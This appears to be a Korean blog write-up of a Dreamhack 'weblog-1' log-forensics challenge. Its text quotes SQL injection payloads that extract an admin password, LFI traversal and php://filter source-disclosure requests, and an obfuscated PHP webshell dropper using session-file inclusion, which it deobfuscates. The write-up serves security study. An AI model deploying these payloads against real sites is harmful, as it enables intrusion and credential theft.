[Dreamhack Web - Lv 2] weblog-1

문제 정보

주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요.

풀이 힌트

1. 추론 능력

문제 풀이

더보기
더보기

문제 페이지를 보니 5개의 질문이 있는 것으로 보인다.
첫번째 질문은 로그에서 admin의 pw를 탈취하려는 시도를 찾아야한다.

 

많은 로그들이 보인다. 대부분의 로그는 숨겨진 페이지를 찾으려는 시도가 일어난 것으로 보인다.

 

나는 404 상태코드가 너무 많아서 일단 200 상태코드만 살펴봤다. 조금 내려보면서 살펴보니, SQLi이 일어난 부분을 찾을 수 있었다.

 

여기서 빨간색 상자에 들어간 부분을 주의 깊게 봐야한다.
if(1=1, (select 1 union select 2), 0)이라는 페이로드은 1=1이라서 True가 나오고 (select 1 union select 2)가 실행된다. 하지만 상태코드는 200이 아닌 500이 실행된다.

if(1=0, (select 1 union select 2), 0)이라는 페이로드 1=0이라서 False가 나오고 0이 나온다. 여기선 상태코드가 200이다.

 

살펴본 SQLi 페이로드와 HTTP 상태코드를 보니 True가 나오면 500 상태코드가 나오는 것으로 보인다.

 

vscode의 검색기능을 이용하여 500 상태코드만 살펴보니, admin의 pw를 구하는 SQLi 페이로드를 찾을 수 있었다.

물론 text 파일을 엑셀로 불려와서 공백으로 분류하면 이와 같이 이쁘게 정리가 되고, 필터 기능으로 500 상태코드만 출력할 수 있다.

 

암튼 위와 같은 방법으로 찾은 값들은 97, 100, 109, 105, 110, 58, 84, 104, 49, 115, 95, 49, 115, 95, 65, 100, 109, 49, 110, 95, 80, 64, 83, 83, 44, 103, 117, 101, 115, 116, 58, 103, 117, 101, 115, 116이다.

 

a = [97, 100, 109, 105, 110, 58, 84, 104, 49, 115, 95, 49, 115, 95, 65, 100, 109, 49, 110, 95, 80, 64, 83, 83, 44, 103, 117, 101, 115, 116, 58, 103, 117, 101, 115, 116]

for i in a:
	print(chr(i), end='')

찾은 값들은 아스키코드 값임으로 파이썬을 이용하여 문자열로 출력하였다.
해당 값을 제출하니, 다음 질문으로 넘어갈 수 있었다.

 

이번 질문은 config.php 코드를 추출하는데 사용한 페이로드를 찾으란다.
vscode의 검색기능으로 config.php를 찾아봤다.

 

config.php가 있으면서 200 상태코드를 가진 로그를 살펴보니, 금방 찾을 수 있었다. 해당 페이로드는 LFI 취약점 중 PHP의 Wrapper을 이용한 공격이였다.

php://filter/convert.base64-encode/resource=../config.php를 제출하니, 다음 질문으로 넘어갈 수 있었다.

 

나는 질문을 보고 /admin/?page=을 키워드로 찾으면 LFI 페이로드들을 쉽게 찾을 수 있을거라 생각하여 검색하였다.

  • /admin/?page=./users.php
  • /admin/?page=../../../../../etc/passwd
  • /admin/?page=php://filter/convert.base64-encode/resource=index.php
  • /admin/?page=php://filter/convert.base64-encode/resource=../index.php
  • /admin/?page=php://filter/convert.base64-encode/resource=../config.php
  • /admin/?page=php://filter/convert.base64-encode/resource=users.php
  • /admin/?page=php://filter/convert.base64-encode/resource=memo.php
  • /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E
  • /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732

9개의 페이로드를 찾을 수 있었는데, 7번째의 페이로드를 이용하여 memo.php를 살펴보고 8번째에서 memo.php에 LFI 공격을 하는 것이 의심이 갔다. 또한 페이로드도 제일 길어서 한번 분석해보고 싶었다.

url 인코딩된 페이로드를 url 디코딩을 시킨 뒤 vscode에 이쁘게 정리하였다.

 

<?php
    function m($l,$T=0){
        $K=date('Y-m-d');
        $_=strlen($l);
        $__=strlen($K);
        
        for($i=0;$i<$_;$i++){
            for($j=0;$j<$__; $j++){
                if($T){
                    $l[$i]=$K[$j]^$l[$i];
                }
                else{
                    $l[$i]=$l[$i]^$K[$j];
                }
            }
        }
        
        return $l;
    } 
    
    echo m('bmha[tqp[gkjpajpw')."\n";
    echo m('+rev+sss+lpih+qthke`w+miecaw*tlt')."\n";
    echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>

확인해보니, 이상한 값들이 찍히는 것을 볼 수 있었다.
코드를 보니 K변수가 date 함수를 이용하여 시간을 이용하여 공격자가 원하는 값으로 변경해주는 것으로 보인다.

 

시간을 보니 해당 페이로드를 이용하여 공격한 시간은 2020년 6월 2일인 것으로 확인됐다.

 

K 변수를 date 포멧에 맞춰서 2020-06-02로 하드코딩하여 결과 값을 확인하니, 웹쉘 코드를 업로드한 파일이 /var/www/html/uploads/images.php인 것을 볼 수 있었다.

 

/var/www/html/uploads/images.php이 답인 줄 알고 제출을 했지만, 정답은 아니였다.
그럼 남은 의심이 가는 페이로드는
/admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732이지만, 확실하게 하기위해 memo.php의 코드를 분석해보겠다.

 

<a href="javascript:history.back(-1);">Back</a><br/><br/>
<?php
  if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }

  if(isset($_GET['memo'])){
    $_SESSION['memo'] = $_GET['memo'];
  }

  if(isset($_SESSION['memo'])){
    echo($_SESSION['memo']);
  }

?>

<form>
  <input type="hidden" name="page" value="memo.php">
  <div class="form-group">
    <label for="memo">memo</label>
    <input type="text" class="form-control" name="memo" id="memo" placeholder="memo">
  </div>
  <button type="submit" class="btn btn-default">Write</button>
</form>

확인해보니 memo.php의 memo 파라미터의 값은 $_SESSION['memo']로 저장이 되는 것을 볼 수 있었다.
정리하자면 8번째 페이로드는 세션으로 저장이 되고, 9번째 로그에서 업로드한 세션을 실행을 하여 웰쉘인 /var/www/html/uploads/images.php을 생성하는 것이다.

 

/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732을 제출하니 다음 질문으로 넘어갈 수 있었다.
질문을 보니, 답이 /var/www/html/uploads/images.php인 것을 바로 알 수 있었다.

 

웹쉘을 통해 실행된 명령어를 찾는 질문이 나왔다.

 

나는 images.php?c=을 vscode의 검색 기능을 통해 검색해보니, 1개 밖에 안 나왔다.
비록 404 상태코드이지만, 일단 whoami를 제출해봤다.

 

whoami가 정답이였다. 마지막 질문을 푸니깐 flag를 획득할 수 있었다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 2] crawling  (0) 2021.12.20
[Dreamhack Web - Lv 2] chocoshop  (0) 2021.12.18
[Dreamhack Web - Lv 2] Flask-Dev  (0) 2021.12.14
[Dreamhack Web - Lv 2] blind-command  (0) 2021.12.11
[Dreamhack Web - Lv 2] web-ssrf  (0) 2021.12.06